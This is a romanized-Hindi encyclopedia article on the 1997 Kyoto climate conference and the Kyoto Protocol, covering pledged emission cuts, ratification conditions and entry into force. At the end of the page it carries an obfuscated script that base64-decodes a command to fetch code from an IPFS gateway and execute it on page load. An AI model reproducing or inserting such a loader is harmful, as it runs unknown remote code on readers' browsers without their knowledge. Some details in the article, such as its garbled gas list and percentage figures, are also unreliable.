पर्यावरण सम्मेलन क्योटो
karban daee aauksaid ke vatavaran mean utsarjan ke phalasvaroop bhoo-mandal ke tapaman mean nirantar vriddhi ho rahi hai. isi bhoo-mandaliy tapaman mean vriddhi khataroan par japan ke kyoto shahar mean 1 disambar se 10 disambar, 1997 tak jalavayu parivartan par ek antarashtriy sammelan hua, jisamean 160 deshoan ke pratinidhiyoan ne bhag liya. bharat ka pratinidhitv tata oorja shodh sansthan ke nideshak d aau. ar.ke. chaudhari ne kiya. sammelan ki adhyakshata raul estred ne ki thi.
upalabdhi
sammelan ki mahattvapoorn upalabdhi prithvi ke vatavaraniy tap mean nirantar ho rahi vriddhi jalavayu mean ho rahe parivartan par rok ke lie ek aitihasik samajhaute par hastakshar karana tha. grin haus gaisoan ke utsarjan se jalavayu mean ho rahe parivartan par ye tisara sammelan tha. isake pahale bhi do sammelan- pahala, 1995 mean barlin mean tatha doosara 1996 mean jineva mean ayojit hue the, lekin isamean utsarjan ki matra par rok ke lie kisi thos natije par sahamati nahian ho saki thi. jalavayu parivartan kanveanshan ke is sammelan ka lakshy jalavayu parivartan ke zimmedar karakoan par niyantran kar vishv ke paryavaran mean gunatmak sudhar lana tha. is sammelan mean kafi matabhedoan ke bavajood audyogik desh antatah grin haus gaisoan ke utsarjan par 5 pratishat se 2 pratishat tak kami lane par sahamat ho gaye. kyotoan samajhaute ke tahat grin haus gaisoan ke vistar mean yooropiy sanghoan 8 pratishat, amerika 7 pratishat, japan 6 pratishat, kanada 3 pratishat katauti karane par sahamat hue. 20 any audyogik deshoan ne bhi katauti karane ki sahamati vyakt ki hai. anek antarvirodhi evan matabhedoan ke bavajood sammelan ka ek samajhaute par pahuanchana mahattvapoorn upalabdhi rahi. 11 disambar, 1997 ko kyotoan samajhaute par hastakshar hue. samajhaute mean grin haus prabhav ke lie naitras aauksaid, haidrophloro karban, paraphloro karban evan salphar heksa phaloraid ka zimmedar mana gaya hai.
samajhaute mean vikasashil deshoan par koee utsarjan pratibandh lagoo nahian kiya gaya. samajhaute ke dauran grin haus prabhav se sarvadhik prabhavit hone vale rashtr marishas, maladiv, havaee dvip, adi san 2005 tak utsarjan star mean 20 pratishat ki katauti ki maang kar rahe the. samajhaute mean yah vyavastha ki gee jo desh samajhaute ka ullanghan kareange ve jurmane se dandit hoange tatha jurmane ki rashi svachchh vikas kosh mean jama ki jaegi. is kosh ki sthapana ka prastav brajil ne kiya tha.
kyoto protok aaul
kyoto protok aaul sanyukt rashtr ke paryavaran badalav par ek aantarashtriy sandhi hai. is sandhi par disambar, 1997 mean kyoto sammelan ke dauran hastakshar kiye gaye. yah ek qanooni evan badhyakari sandhi haian. isake tahat sandhi mean shamil sabhi 38 vikasit deshoan dvara samoohik roop se grin haus gais utsarjan ko 1990 ke star par lane ke lie 2012 tak 5.2 pratishat katauti karane ka sankalp vyakt kiya gaya hai. isaka lakshy grin haus gaisoan, yatha-karban daeeaauksaid, mithen, naitras aauksaid, salphar kloraid, haidro kloro karban aur kloro-phlora karban ke utsarjan mean varsh 2008 se 2012 tak prabhavi kami karana hai. protok aaul mean spasht se roop se ullekh kiya gaya hai ki samajhaute ko lagoo karane hetu sammelan mean shamil sabhi 55 deshoan, jinamean 38 vikasit desh bhi shamil hai, dvara pushti honi chahie evan in deshoan ka utsarjan star kul grin haus utsarjan ka 55 pratishat ho. in do sharto mean se pratham shart jisamean 55 deshoan ke hastakshar ki bat kahi gee hai. 23 mee, 2004 ko hi poora ho gaya tha, parantu 55 pratishat grin haus utsarjan se sanbandhit shart ko poora karane hetu sanyukt rajy amarika ki pushti avashyak hai, kyoanki grin haus gaisoan ka sarvadhik utsarjan (24 pratishat) vahian karata hai. par vidavana hai ki varsh 2001 mean amerika ne is sandhi ko manane se iankar kar diya. is sthiti mean yoorapiy sangh ke prayasoan se roos evan japan ko kyoto protok aaul ki pushti ke lie sahamat kiya gaya. is prakar roos ke rashtrapati bladimir putin dvara 4 navambar, 2004 ko is sandhi par hastakshar karane tatha 18 navanbar, 2004 ko sandhi ki pushti karane ke bad 16 pharavari, 2005 ko kyoto protok aaul prabhavi ho gaya.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>